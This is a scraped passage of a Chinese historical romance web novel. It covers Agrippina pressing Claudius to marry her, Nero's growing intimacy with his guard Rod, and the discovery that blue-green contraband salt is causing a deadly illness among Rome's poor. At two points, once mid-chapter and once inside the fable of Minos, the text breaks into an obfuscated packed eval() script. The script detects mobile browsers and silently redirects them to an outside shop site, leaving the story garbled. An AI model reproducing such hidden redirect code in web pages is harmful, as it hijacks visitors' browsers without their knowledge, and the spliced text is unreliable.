她迟迟没有躺上去,沉静地说:“恐怕我还是要拒绝您,我的叔父。您身边的位子只有皇后才能躺,我可不想坏了规矩。”
“这是我私人的宫殿,没有人会责怪你的。”克劳狄乌斯温和地笑道,“你不必这么在意规矩……”
阿格里皮娜沉默,冷漠的双眼一动不动,甚至连呼吸都轻得近乎于停滞。
她轻缓地出声:“只有一个办法,可以让我不必在意规矩……”
克劳狄乌斯为她斟葡萄酒,问道:“什么办法?”
阿格里皮娜忽然凑近他,以一种蛊惑的声音说道:“那就是让我成为皇后……”
这句轻飘飘的话象火石一样坠进克劳狄乌斯的耳朵,在头颅里掀起弥天的动静。
克劳狄乌斯的双眼陡然瞪大,眼珠剔亮。他浑身绷紧,僵硬地仰起脸,不可置信地望着一脸淡然的阿格里皮娜。握在手里的葡萄酒杯大晃一下,酒水泼湿一片。他的反应大得好象是被刺了一刀。
酒杯咣当一声落地。克劳狄乌斯无措地摇着头,佝偻的身体在沙发上扭着,象一只翻了壳的乌龟。
他断断续续地说:“神明啊……你在胡说些什么……我是你的亲叔父啊!阿格里皮娜……我想你一定是喝醉了……”
“我没有喝酒。”阿格里皮娜冷静依旧,“一滴都没有喝。”
她坚定地按住他颤抖的肩膀,一字一顿地说:“让我成为皇后吧,我的叔父……”
“这不可能……”克劳狄乌斯胡乱地摇着头,“这太奇怪了!我对你根本没有那种邪恶的想法!你是我疼爱的侄女,是我哥哥的女儿……”
“那只是一个名号,您不必多虑!”阿格里皮娜主动躺到他身边,揽着他的驼背安抚他。
她的抚摸让克劳狄乌斯一阵战栗。
“别……别碰我……阿格里皮娜!”他哆哆嗦嗦地说,“这样太可怕了……”
“我是一个无依无靠的人,身边还有一个刚刚成年却仍不懂事的儿子……”她沉着地说,口气里没有一丝慌张。那双深潭般的棕色眼睛,此时有厚重的阴冷。
“我需要一个保障,需要一个能庇护我的地方。也同样……”她的语气猛然迫切起来,“我的儿子也需要一个皇帝作为父亲!他明明有顺理成章的血统,却因为父亲不是皇帝而被某些元老诟病。”
克劳狄乌斯几乎将脸埋到餐巾上。他无力地摇着头,连看阿格里皮娜的勇气都没有,声音颤抖地说:“我不能娶你……阿格里皮娜……那样太奇怪了……”
阿格里皮娜平静地看着他。她思索一会,撕掉一块凤尾鱼肉,摆到她叔父的餐盘前。
她挤出一个怀念的脸色,轻柔地说:“还记得您当年来我家为我庆祝生日吗?那时候我只有七岁……”
克劳狄乌斯僵住,缓缓抬起头,小心翼翼地望着她。
阿格里皮娜用叉子叉起鱼肉,递到他颤抖的嘴边,“那个时候,还很年幼的我就懂得把第一块鱼肉送给您吃,就象现在这样……”
克劳狄乌斯震惊得嘴唇微张,呼吸屏住,脑子里狂乱得好象翻江倒海。
阿格里皮娜趁势将鱼肉塞进他嘴里,拿捏出一个看似真诚的微笑。她以温暖的语气说:“您也需要一个能陪您吃饭、真正关心您的人,不是吗?”
克劳狄乌斯感觉如鲠在喉。
36. 罗德的归属
铜像生意使奥托家族获得一大笔收入。这个跌入谷底的家族有死灰复燃的趋势。
安东尼嘴里嚼着茴香叶,乐呵呵地哼着歌儿。他熏香新买来的红衣服,以熨石熨烫。
被熨烫着的衣服是经过改良的裙袍,裙摆上挂着一串流苏。丝质的红裙在烛光下漫射出游离的光,它的尺寸根据安东尼的身材定制。
微冷的夜风吹过百叶窗,挂烫着的红裙骤然飘摇,象一只上蹿下跳的幽灵。
安东尼放下熨石,一脸满意地欣赏一会。
他转向铜镜,从妆奁盒里拿出一副耳环,对着镜子戴到薄薄的耳垂上。
那双墨蓝色的眼珠一移,安东尼就在镜中瞥到了他的兄长。鲜红的烛光倒映在他眼底,象一张隐遁在海底的血红鲨口。
一个浮夸的微笑拱进他粉腻的脸庞。
门希倚着门框,对着弟弟的镜像叹口气,“你又要去剧场了?”
“当然!”安东尼喜笑颜开,“去剧场享受女孩们的掌声和欢呼!那些贵族少女们简直为我精湛的表演而神魂颠倒。她们送我礼物,还会在表演结束后牵我的手去她们的闺房……”
门希不屑一顾,沉重地告诫道:“这是身份低贱的演员才该做的事情……哗众取宠……”
“这是我最大的爱好,亲爱的哥哥!”安东尼拨弄一下耳环,以撒娇的口吻说,“我敢保证,我是罗马城里最受追捧的反串演员!”
奴隶端着脂粉盒走来,朝安东尼脸颊上扫大麦粗粉和鹿角根粉。这能使他的肤色显得润白。
门希走进来,扯了扯熨烫良好的裙袍,疑问道:“这件裙子是用丝国进口的绸缎做的,一定花费了不少钱吧?”
“我可是用自己的钱买的!”安东尼闭着眼睛说。奴隶用墨鱼的墨液为他描画眼线。
他歪嘴笑着,眼角被勾画得上翘,“多亏你向神庙举荐我。我这次赚了不少钱,还挽回了一些名誉。我的资产已经能允许我养马,我就要重新成为一名骑士了!”
安东尼套紧假发,金黄的波浪卷象麦穗一样扫在他脸侧。
奴隶将一颗仿冒的美人痣敷贴在他的嘴角。这种圆而黑的假痣特别受罗马贵妇的欢迎。
门希沉定地站立,眼角的鱼尾纹象树木的层层枝杈一样伸下去。
“我接到奴隶的口信,茱莉娅过些时日要来拜访我。”他森然地说,“她说要向我汇报一个非常重要的消息……”
“茱莉娅?”安东尼照着镜子,调整一下假痣的位置,“就是上次祭祀仪式里那个领头的圣女?如果我没记错,她的资历应该是神庙里最老的。”
门希点点头,“我担任大祭司的时候曾经提拔过她,她一直对我感恩戴德。你这次能揽到这笔铜像生意,与她不无关系……”
安东尼拿起一盒口红,漫不经心地问:“她要给你什么消息?”
门希凛然,睁大的眼睛微红,连带着眼纹都在颤抖,“为了保密,她没有对奴隶多说。她只提到看见一个和……和泰勒斯长得极像的年轻人……”
他的脸颊青白,心情五味杂陈。那是一个他极不愿意念出口的名字。
“她确定没有看错?”安东尼悠闲地涂着口红,“霸道的卡里古拉总让最爱的亲卫带着面罩,很少有人窥见过泰勒斯的容貌,就连我都没有。”
门希呼吸一屏,腿脚如扎根似的往下沉坠,这一瞬间他心痛得宛如千疮百孔。
他顿了很久,僵硬地挪着嘴唇说:“……茱莉娅不是轻率的人。身为大贞女的她冒着遭人诟病的风险,执意要悄悄拜访我,一定不是随口一说。”
“你可不要掉以轻心!我的哥哥……”安东尼斜斜地瞥过去。
他的嘴唇艳红,蓝眼睛陷进孔雀石磨制的蓝眼影里,象一滩覆盖在眼窝的淤青。精致的妆容使他像极了一个妇女。
安东尼谨慎地说:“你别忘了,她当年靠出卖同僚才获得大贞女的位置。谁敢保证她不会为了利益再次出卖你?!”
门希神色阴晦,久久纹丝不动,象中了诅咒一样化成一块石头。
……
阿格里皮娜与克劳狄乌斯的婚讯从天而降。
近亲结婚的消息,象突然从山口迸出来的火山灰,席卷整个罗马。
尼禄得知母亲的婚讯时,正伏在书桌上阅读堆积如山的公文。
震惊使周围的环境于一瞬间变得无声。
通报消息的奴隶就跪在脚边,金属刻笔洇开一片墨水。泛起白雾的视野被银色的额发打散,眼前是满窗青绿,阳光象沙子一样流进榕树的叶缝。
尼禄恍惚地盯着窗子,神情很迷茫。他象失去方向一样呆愣着,迷惑地眯起眼睛。
在终于反应过来后,惊诧的表情象山体崩裂一样在他脸上开裂,苍白的眼睑泛起愠红色。
“毒蛇一样的女人……不知廉耻的母亲……”尼禄红着眼睛说,“她是生而为桂冠和宝座的妓|女!”
报信的奴隶战战兢兢地跪着,迟迟不敢动。
尼禄的神情十分阴森,气色变得如阴霾一样灰白。他动起刻笔,在羊皮纸上沙沙写着字。
“你去给她回话……”他边写边说,“罗马已经送走了一个以娼|妓为名的麦瑟琳娜,更不需要一个以乱|伦为名的阿格里皮娜!我以有她这个母亲而感到羞耻……”
罗德站在门口,冷清的目光象黑纱一样飘进来。
“这不是一个英明的决定!”他警戒地说。
尼禄翻涌的愠怒象被缰绳勒住似的停止。
罗德端着一杯牛奶,上面洒着几根藏红花。他乌黑的鬓发尽挂耳后,显露出明犀的下巴。
尼禄心有雀动。
罗德冷静地走近,节节分明的手指钳紧银杯,“这些侮辱性的词句恐怕毫无用处,您的母亲绝不会撤回结婚的决定。”
尼禄的声音有些抑郁,“她是个不顾一切的疯子……她的母爱就象一条摆脱不掉的、粗壮的蟒蛇,从我出生之时就在从头到脚地缠缚着我。”
罗德顿一下,一丝自嘲蹿上他的唇角。他坐上窗台,硬挺的剪影被捆在窗框之内,榕树的青绿在他背后浮游。
“这算什么……”他喝一口牛奶,平静地说,“我连母亲都没有。”
本来很愤懑的尼禄沉默了。他神色郑重,胸口涌起一阵酸涩,以复杂的眼神凝视罗德。
他小心地开口:“你记得她的样子吗?”
罗德嗤笑,“我没有任何关于她的记忆。她似乎在生下我之后,就从这个世上凭空消失了……”
他轻晃着银杯,语气依旧坚|挺,“我曾无数次向我的养父问起她。但他总是躲闪,从不回答这个问题。”
尼禄哽住。他幽幽地抬眼,几缕弯曲的银发散下来,样子十分低落。
罗德看见他颤动的喉结,不以为意地笑笑:“少矫情!”
他侧过身,一个健步就跨到窗外的榕树枝杈上。他引人瞩目的五官就这么暴露在阳光之下。
“上来!”他冲尼禄扬起一个明朗的微笑。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239653|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尼禄毫不犹豫地从窗口跳到他身边。
在家办公的尼禄穿着随意的白睡衣,赤着脚。他坐下来时衣摆刚刚及膝,露出两截苍白而有力的小腿,在树枝下灵巧地晃荡着。
罗德嫌脚上的铁靴太沉,索性将靴子蹬掉,也打着赤脚。
富有朝气的青光晕染尼禄的睡衣,他鼻梁处的淡淡雀斑在光线下毕露。
“我的新庄园里放着很多名贵的雕像和宝石。”他晃着小腿说,“那些东西价值连城,对于惯于偷盗的窃贼来说就象是一块肥美的鲜肉。”
罗德建议道:“您可以单挖一处地窖来存放那些麻烦的东西,既然您不常住那里。”
尼禄点头思考着,晃摆的脚不经意撞到罗德的脚踝,产生一些疼痛。
他象被烫到一样撤回脚,红着脸脱口而出:“哦真对不起……”
罗德移到唇边的牛奶又放下,盯着他充满歉意的眼睛,饶有兴致的模样。
他认真地说:“看来您很害怕与我有肢体接触。”
尼禄心虚起来。他的手不由地抓紧树枝,躲闪的双眼埋于额发之下。他在死守着一个寄托身心的秘密。
罗德端着牛奶,悄然地凑近一些。他漆黑的羽睫和红唇就停在尼禄逐渐染红的耳鬓。
他以飘忽的语气说:“您厌恶我,对吗?”
“怎么可能?!”尼禄慌忙否认,“我非常欣赏你,我以我的全部身心以及灵魂发誓……”
他脸颊发热,两只光裸的小腿绞在一起,在轻微地发抖。情感上的卑微,象一叶障目一样,使他无视自己身份的尊贵。
“我只是不想冒犯你……”他低语道,“我不想让你讨厌我……”
罗德笑了笑,挽过他颤抖的手臂,倾身贴上去。他几乎将后脑抵在尼禄前肩,瀑布一般的黑发倾泻在尼禄的脊背,尼禄感觉如有千钧压顶般的重量。
罗德在他耳边轻语,低沉的嗓音象一颗罂粟一样生长在耳边:“可是冒犯我本来就是您的权力……”
他伸过脚,与尼禄苍白的脚相抵。他用微弯的脚趾去来回磨蹭尼禄的脚底,再顺着他纤细的脚踝一点点上移,勾勒出骨骼的形状;最后以脚背慢慢滑向他的小腿肚。
亲昵的触碰引起阵阵战栗,尼禄的小腿肌肉隆起,脚趾象激灵一样蜷起。
暧昧的情愫象月亮周围的一圈清朦的月晕,比月亮本身还要撩人。
罗德听到尼禄逐渐紊乱的呼吸,面露一点狡猾,嘴角有坏坏的微笑,“您又在害怕了。”
尼禄努力压制着呼吸。
罗德撤回折磨人的脚,歪过头,洁净的前额蹭到尼禄的下颚。柔顺的黑发揉进银色卷发的罅隙里。
庭院之外便是罗马繁忙的商铺,马车的碾压声和商贩的吆喝声此起彼伏。
此时细碎的阳光洒落在身上,鼻尖下是清苦的树叶味,榕树巨大的荫蔽将一切尘光挡在外面。
尼禄低着头不敢说话,因为羞涩和卑微;阅人无数的罗德知道他的心思,主动将头靠进他的颈窝,什么也不说。俗世之中有这一瞬,他们享受到安宁的交颈。
“您刚才就在冒犯我,但我并不会讨厌。”罗德轻柔地说。他靠着尼禄的前肩,声音从下方悠悠传来。
尼禄心潮翻涌。他屏着呼吸,小心翼翼地往下偷瞄罗德的脸庞,卑下地问:“为……为什么?”
罗德侧了侧脸,坚硬的睫毛戳进尼禄的皮肉,带来略疼的刺痒。
“因为我是你的。”他的声音有点慵懒。
37. 福祸相依
罗马已进入凛冽的深秋。
莫名其妙的怪病日益严重,大批人因尿血和腹泻死去。罗马人从惊惶转而怨恨。
城中出现风言风语,谣称尼禄的继位不符合神的意旨,神明便以怪异的疾病和治不好的洪水来惩罚罗马。
然而,祸不单行的是,蛰伏多日的洪水冲垮堤岸,淹没了新庄园山下的街道和商铺。
由于这些房舍在冠名上属于尼禄,尼禄就必须负担房屋和堤岸的修缮费用。这项支出十分庞大。
尼禄忙碌得焦头烂额。民众的谴责和经济的负担让他受到双重的挫折。
作为行政官,他要去看望罹患怪病的病人。这是政客象征性的慰问,可以安抚民众的情绪。
临近出门,尼禄套上皮靴,系紧羊绒斗篷的领口。奴隶用胶纸粘掉他斗篷上的细灰,朝他的一头卷发喷洒丁香的蒸馏水。
门外的庭院里,车夫用刷子梳顺马鬃,往马车的车轴里添加润滑用的油脂。
屋里的大理石壁炉烧得正旺,明烈的火光盈满卧室,热意无孔不入。
门口传来铁靴踩地的铮铮响动。尼禄顿住动作,心有小虫爬过般的轻痒。
自那天在树上的交颈之后,两人之间的气氛变得粘稠了许多。
他微微侧脸,金棕色的眼瞳移到眼角,一下子就看到头发还湿着的罗德。
罗德刚刚洗完澡,脸上还挂着水珠,嘴唇红得宛如烈火。他的黑眼睛湿漉漉的,一缕缕的黑发滴着水,黏紧黑衣,好象黑墨滴进黑墨里。
“我准备好了。”他拿起他的长剑,飞快地检查一下,稳稳地套进剑鞘里。
年轻的女奴不停地偷瞄他。尼禄打个手势让所有奴隶退下。
“我们要再去一趟贫民区。”尼禄扣好靴子上的扣子,“给那些病患送一些钱币和延缓死亡的药物。”
罗德将剑鞘系在腰间,“现在的罗马就象一颗从根开始蔫掉的病草。过了这么久,那群号称名医的家伙们还是束手无措。”
尼禄忧郁地说:“目前他们只能判断这是一种慢性病,可能与食物和饮水有关。但具体的病因还不能确定。”
罗德倚剑而站,水珠顺着他明朗的下颚滴落,十分严酷的模样。
“走吧。”他用下巴指了指外面。
“现在还不行。”尼禄说,“车夫还在装药草和钱箱,我们得再等一会儿。”
罗德向外瞧一眼,本来按住剑柄的右手又撤了下来。
他朝壁炉里加几根木炭,站在旁边烤火。火风扑面,吹动他乌黑的湿发。
罗德沉默良久,脸色冷峻地说:“听说您的商铺和房屋都被洪水淹没了……”
他盯着火焰,眸子里倒映出两枚火光。
尼禄面露郁色,沉重地应道:“很不幸,我赔进去手头上的全部钱财,还向我的母亲借了一些钱。房产的冠名先让我享受荣光,再让我遭受飞来横祸。”
罗德沉思一会,剪影象一尊锤炼的铁石一样嵌进金红的火光之中。
“还记得您之前的占卜吗?”他神情冷然地说,“占卜师给出两个神谕,其中一个就是水会给您带来灾祸……”
尼禄怔忡一下。
“被投毒的浴池水、在去塞浦路斯的海上遭遇海盗、掉进天井感染疟疾,再到现在这场让您负债的洪水……”罗德一件件数着,“您的一切劫难都与水有关。”
被印证的预言使尼禄心生忧惧。他踩着皮靴,沉沉地走到罗德身边。
明艳的火光象金片一样贴上他忧郁的脸。罗德能闻到尼禄丝袍上丁香的清香。
尼禄垂着眼睛说:“多么可怕的巧合……”
“这不是巧合,而是定数。”罗德斜斜地瞥视他,“或许决定您命运的那三个人也是真的存在。”
尼禄注视着火焰,瞳中的光点象幻影一样跳跃。他的神情晦暗不明。
罗德胡乱地拨弄头发,甩出几串泛射火光的水珠。他的长头发很浓厚,不容易变干,浸湿之后就温顺地垂坠着,使他有一种阴柔美。
他撩开挡着视野的鬓发,尼禄的那双熠熠闪光的棕眼睛就闯过来。
两人的视线象擦出火花的刀剑一样碰撞在一起。
一个对视就能让气氛陡然胶黏。
尼禄浅棕色的眼睛被红光斜照,好象通明的玻璃,呈现出奇异的金红色。他的面颊隐约羞红,眼白因为连续熬夜而布满血丝,有一些憔悴。
罗德盯着他的金眼睛,忽然说:“上次的故事还没读完。”
尼禄愣一下,“是那个被父母挖掉双眼的米诺斯吗?”
“他有着一对黄金般的眼睛。”罗德说,“我想听听他的结局。”
于是尼禄翻箱倒柜,找出了那本故事书。
写满文字的羊皮卷已经泛黄,边角皱巴巴的,裂纹象叶脉一样支展在书卷上。这是一本年月已久的羊皮卷。
尼禄拂去卷面上的灰尘,板正的希腊文在褶皱的黄皮上显现出来。
“这是最流行的希腊故事书,罗马每一座别墅的书柜里都会藏着这本书。要学习希腊语的贵族们几乎人手一本。”尼禄说。
罗德将后背倚靠着墙,饶有兴致的模样。
尼禄挖出一勺羊脂膏,涂抹书卷的裂纹。他找到上次的位置,用拉丁语念道:
『可怜的米诺斯被挖掉了双眼。他的父母对唯一的儿子寄予厚望,为了弥补没有眼睛的缺陷,就以极其残酷的方式去训练他。
他们把米诺斯丢进狼群聚居的森林里,逼迫他听辨狼嚎的方向以逃命;让他在每顿饭前嗅闻食物,说出每一种食材和调料;还训练他巧妙地扇风,利用反弹回来的风判断东西的尺寸和位置。
这对父母就以这种令人畏惧的方式去爱他们的儿子。』
尼禄稍作停顿,继续念道:
『在没有视觉的生活中,米诺斯的其他感官就对外界极其敏感。他的浑身仿佛被覆上一层神经密布的薄膜,敏感得就象蜗牛的触角。细腻的他能感受到环境中的每一丝变动。
在父母的驱策下,米诺斯学习了文字和演讲,他才华过人。
然而,身体上的不健全,使他有着悲观而阴郁的性格。他每天生活在黑暗中,几乎足不出户,体格十分柔弱,连稍微重一点的刀剑都提不起来……』
罗德听到这儿,忽然出声说:“象你。”
尼禄怔了怔,脸庞羞得更红。稚气未脱的他揉两下鼻子,浅褐色的雀斑淡淡地分布在上面。
他往下念道:
『米诺斯成年之后,国王夫妇仍然象绳索一样束缚着儿子。他们一直渴望米诺斯能够学习骑射和游泳,增强武力,将来成为一个文武双全的国王。
正逢此时,众神之父朱庇特降下恩泽,赠给人们一座特殊的别墅。
这座来自神界的别墅完全由镜子建造:
穹顶由无数小镜块拼接而成,墙壁是大镜子,廊柱、天花板、地板、楼梯都是明亮的镜子制成;房间里的床和桌子,甚至连餐盘花瓶、吃饭用的刀叉勺子,通通都是镜子。
朱庇特扬言,只要有人能在镜子别墅里单独住一年、并且安然无恙的话,就会赏赐他所向披靡的勇猛和武力,并让他成为镜子别墅独一无二的主人。只有经过别墅主人的允许,外人才允许在别墅里进出……』
罗德来了兴致,明丽的眉眼微微弯起。
『人们对此趋之若鹜,都想拥有所向无敌的力量。
国王夫妇看到这个机会,更是喜悦无比。他们果断将米诺斯送到别墅。
大多数人仅仅是走近镜子别墅,就会被无数镜片所映照出的无数太阳刺伤眼睛,他们只好选择放弃。
剩下的人好不容易走进别墅,就被无数重复的镜影搞昏了头。
他们时常被尖锐的桌角戳伤,连镜子饭桌上的镜子餐盘都找不到,一些人因为忍受不了寂寞而放弃,更多人则是被混乱的视野逼到发疯……』
尼禄在此处略做思考,接着读道:
『就这样,米诺斯因为没有眼睛的优势,安静地在别墅里住了一年。朱庇特遵守诺言,给了他无与伦比的武力和勇敢。无人能打败这个身负神恩的青年。
他被挖掉眼睛的噩运,反而成为他的幸运……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239654|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
』
尼禄忍不住中断朗读,轻叹道:“他可真是个悲惨又走运的家伙。”
罗德站直身体,被火烤得半干的头发凌乱地翘起来。
他利落地拨开鬓发,双唇深沉地抿合,良久后才开口道:“他戏剧性的经历值得您去思索。”
尼禄抬起头,视线在碰到罗德时,产生来自本能的柔软。
“什么意思?”他问。
“米诺斯被挖眼睛的灾祸转变为他的福泽。”罗德说,“就象当时您遭遇海盗却避免买到假橄榄一样。”
尼禄愣了愣,思绪飞快地倒回到过去。他犀利地说:“也象我这次幸运地取得房产的冠名,却又因为它而负债一样。”
“说不定这场洪水会在某一天再次转变为您的福泽。”罗德发出轻微的喟叹。
尼禄若有所思,“你的意思是……要让我变得乐观一些吗?”
“不。”罗德轻笑道,“既然命运是阴晴不定的家伙,那么一直乐观和一直悲观都是愚蠢的。”
这时,奴隶走过来,告诉主人该出发了。
两人再次中止了这个故事,动身前往贫民区。
……
贫民区的病情令人触目惊心。
这里的人们或多或少都有些症状。病人们面如菜色,走路时身体摇晃,僵硬得象行走的木乃伊。他们的皮肤上长着红疹,一副浑浑噩噩的样子。
有些严重的腹痛难忍,呕出一滩破碎的、蓝绿色的呕吐物,脸色象骨灰一样灰白。
贫民区的街道十分肮脏,下水道口长满青苔和黏虫,还有老鼠窜来窜去。
买不起皂角的贫民只好用尿液清洗衣服,他们会在装衣服的盆中灌满尿液,然后在上面踩。整条街都蔓延着难闻的异味。
尼禄和罗德走进坑坑洼洼的街道,病情还不严重的人夹道欢迎。
生着病的他们尽力去欢呼,抛给两人花生和月桂树叶。这是贫民们最值钱的东西。
有的幼童趁大人不注意,偷偷去捡掉落的花生粒来吃。
一只瘦小的老鼠从尼禄脚边倏地飞窜过去。
尼禄的嘴角抽了抽,脸色暗沉地说:“潘多拉魔盒里的怪物似乎都跑到了这里,这里连每一口空气都是贫贱的。”
罗德打量四周,严肃地说:“这些病人就象中了毒一样!”
尼禄让随行的奴隶们分散药和钱。
贫民恭敬地双手接过。他们穿着的衣服比尼禄的奴隶还要破旧很多。
罗德踩碎一路花生,目光向街边扫视过去。他看到一连串简陋的厨具和零散的调料。
——贫民所住的公寓很小,没有配备厨房。妇女们只得在街边摆上炉灶,生火做饭。
突然,罗德的视线定格在一处,一贯沉着的黑眼睛迸发出惊骇的闪光。
炉灶上洒有一些幽幽的蓝白色晶粒。那是人们吃的食盐,如今却象发霉一样,呈现出浅淡而诡异的蓝绿色。
罗德熟悉这种颜色怪异的食盐。
他曾经在军营里领到过这样的军饷,当时还获得了一枚金币的补偿。
他的双脚象被抵挡的剑锋一样僵持不动。
尼禄随即发现他有异常,担心地问:“怎么了?”
罗德紧盯食盐,神情深重地说:“等我一下。”
他迅速钻进人群,速度之快宛如一道乍现后又隐于阴云的闪电。
尼禄连忙扒开人群跟过去,脸色因为焦急而涨红。
罗德站到炉灶旁,捏起一撮蓝绿色的盐晶,凑近鼻子轻闻一下。这是他熟悉到骨子里的海腥味。
在人声嘈杂中,尼禄穿过层层人墙,跌跌撞撞地跑过来,一把抱住了罗德的手臂。
他急得一头汗,满面潮红,嘴唇难以抑制地颤抖。
罗德刮一下他汗津津的鼻子,笑道:“担心了?”
尼禄害羞起来,觉得鼻梁上火辣辣的。他被罗德这么一刮,思绪有点迷离,眼睛四处乱飘。
在无意瞥到蓝绿的盐粒时,他惊疑地愣住了。
罗德了然。他指了指那堆盐晶说:“这个是私盐。”
38. 浴
尼禄捻了捻食盐,盐里夹杂的石砾扎痛他的指肚。他的脸色从羞红渐变为铁青,紧闭的嘴角有凶险的锋意。
他当即下令彻查整个街区的食盐。
随从们在贫民公寓里搜出成罐成罐的蓝绿色盐晶。食盐象小山一样堆在街头,还有一些盐是装在麻袋里的,数量之多令人惊叹。
尼禄黑着脸站在私盐堆前,盐堆高得甚至能遮住太阳。他的身旁两侧尽是下跪的贫民,脊背低伏得几乎要揉进地上的黄尘里。他们噤若寒蝉,气氛仿佛滴水成冰一样寒冷。
“这些私盐是啃食罗马法律的蛀虫。”尼禄阴冷地说。
罗德的身影尽埋盐堆的阴影之下。他瞧一眼瑟瑟发抖的贫民,霜冷地说:“私盐的价格是正规官盐的一小半,这些连燕麦片都买不起的人只能选择便宜的私盐。”
“这些私盐的流通绝不是一日两日的事。”尼禄语气冷漠。他布着血丝的眼睛泛起湿润,有着血雾般的残忍。
他面无表情地说:“贩卖私盐的罪犯应该以被剁成肉块的下场警示他人。血流成河的场景和浓烈的血腥味,才能扼死想要犯罪的心思……”
罗德扫一眼他苍白的侧脸,没有言语。
街道旁,有些病情严重的人跪着跪着,后背抖动得愈发剧烈,最终坚持不住地吐了一地,呕出一堆蓝绿色的秽物。
尼禄往一旁挪了两步,愤懑地说:“罗马决不能有私盐存在,哪怕是一粒私盐都不允许存在!”
“私盐的流通是您想象不到的。”罗德警然道,“我就曾经在军营领到过以私盐充的军饷。”
尼禄惊愣,语气锋利地说道:“私盐居然已经流通到军队了?!”
罗德轻轻点头,不远处的蓝盐倒映于他的黑瞳,象一片因变质而生的霉菌。
他十分肯定地说:“这是一件涉及广泛的案件,与贫民和军队都脱不了干系。”
暗色象铁锈一样结满尼禄苍白的眉眼。他神色沉重,若有所思。
……
怪病又牵出一起罪行更大的私盐案。
医生对缴获的私盐做了研究。他们将微微发蓝的盐水喂给绵羊喝,绵羊会逐渐厌食、消瘦和呕吐,粪便也变蓝变黑,最终在衰弱中死去。
他们解剖绵羊和病患的尸体,发现肾脏肿得宛如泡胀的面包,颜色是恐怖的棕褐色。
这些蓝绿色的私盐正是导致怪病的病因。
购买私盐的都是家徒四壁的穷人,富人们都不会去吃来历不明的私盐。因此,罹患怪病没有富人,全都是贫民。
医生将胡桃和鸭粪磨成粉末,配制成药方。尼禄将药材免费分发给病患,还送给他们牛奶和鸡蛋清,这能起到缓解症状的作用。
病情初步得到控制。先前针对他的风言风语逐渐止息。
私盐案的调查已经超出行政官的权力范围,尼禄无权调查。法院开始受理这个案子。
然而,尼禄还有很多别的政务要处理。待修缮的堤岸、缺钱建造的浴场,他每天都忙得不可开交。
已至深夜,尼禄还在工作,这已经成了他的常态。
奴隶往油灯里添油,朝火势渐小的壁炉里投放新的木炭,发出噼里啪啦的燃烧声。他们为尼禄温凉的双脚裹上皮毛,点燃含有薄荷香料的熏炉,这有提神的作用。
尼禄抱起熏炉狠狠地吸一口,凛冽的薄荷气味从鼻腔慢慢伸进肺部,再沿着他的周身漫溯到头脑。
疲惫的尼禄将熬得发青的眼睛眯成一条缝,他觉得清醒一点点。
一双手忽然搭上他的肩膀,再顺着骨骼抚摸到他光滑的脖颈,在那里狡猾地磨蹭两下。
尼禄象痉挛一样浑身激灵,瞬间清醒过来,脊背收紧得象一张铁板。他非常清楚这双手的主人是谁。
“噢……别……别这么摸我的脖子……”尼禄缩着脖子,手指无助地扒着桌边。他的脸红得仿佛即将要从毛孔渗出血滴,佝偻着的腰背象一只蜷起的虾米。
罗德的手从脖子慢慢向前,摸到细长的锁骨。他尖细的指尖就晃动在尼禄的颈动脉,那里象有生命力似的砰砰直跳。
“看把你吓得。”罗德在他耳边轻语,“这个毛病还没好吗……”
尼禄的耳边嗡嗡作响。他紧紧绷着身体,强忍着咬紧牙关,格外敏感的身体象一只被拉到极限的弓。
罗德松开他,方才还黏着的手象雁过刮空一样消失得不留踪迹。
他转过身坐上书桌,背靠堆积如山的公文,套着铁靴的腿脚微晃。壁炉的火光迎面打照在他的脸上,他的眼里有象镜面反射一样的强光。
罗德瞄到尼禄刻笔下的文字,随口一读:“浴场至今仍缺少十万奥雷以建造锅炉间和热水室……”
他停顿一下,思索着说:“十万奥雷,这相当于一整条街区的价格。”
尼禄紧绷的脊背松弛下来。他闷声咳嗽两声,瞥向罗德的眼睛还有一点迷离。
他放下刻笔,“……我几乎向罗马的每一个贵族发出筹款的请求,还以永久的冠名来鼓励他们。但没一个人愿意出资……”
罗德微怔,沉静的眼里有一丝惊疑:“这很奇怪。那些虚荣的贵族总是对冠名的荣光趋之若鹜。”
“因为浴场容易亏损。”尼禄说,“它需要大量的木炭来生火,要供应橄榄油给人们挂身子,要每天更换池水,还要养活成批的奴隶给人们擦背。它就象一只吃钱的无底洞。”
罗德跳下书桌,踱步走到壁炉边。火光象密织的金丝线一样罩住他的周身,他的黑发悉数被火风吹起。
“我有个办法。”他平淡地说,“虽然它不一定可行。”
尼禄盯着他线条美好的身段,愣了愣问道:“什么办法?”
罗德转过身,将满目火焰挡在身后,冲他神秘地微笑,“跟我出去一趟。”
……
此时夜深人静,街道两侧燃着孤独的火盆,深秋的蝉鸣象摇筛声一样一下下地响,象气流一样在空气中横冲直撞。一路都是空无一人。
罗德驾着马车,停在一处山脚下。他驾起车来向来不看路上的石子与坑洼,直直甩着马鞭过去。
尼禄一路颠簸,晃悠悠地爬下马车,跟着罗德走上山。
这座山长满了树,青树象羊绒地毯一样铺设在山地。一轮乳白色的月亮吊悬在夜幕中,宛如一块漂浮着的羊脂膏。绿叶被照得显得亮白,象青绿湖水泛起的粼粼波光。
月光被树木分割成无数根光柱。山路很不平坦。
“我们去哪儿?”尼禄避开脚边的石块说。
从叶缝间投下来的月光将他的卷发照成一根根银丝,皮肤象没有血液一样苍白。
罗德走在前边,灵活地蹦跳在溪流之间,头也不回地说:“马上就到了。”
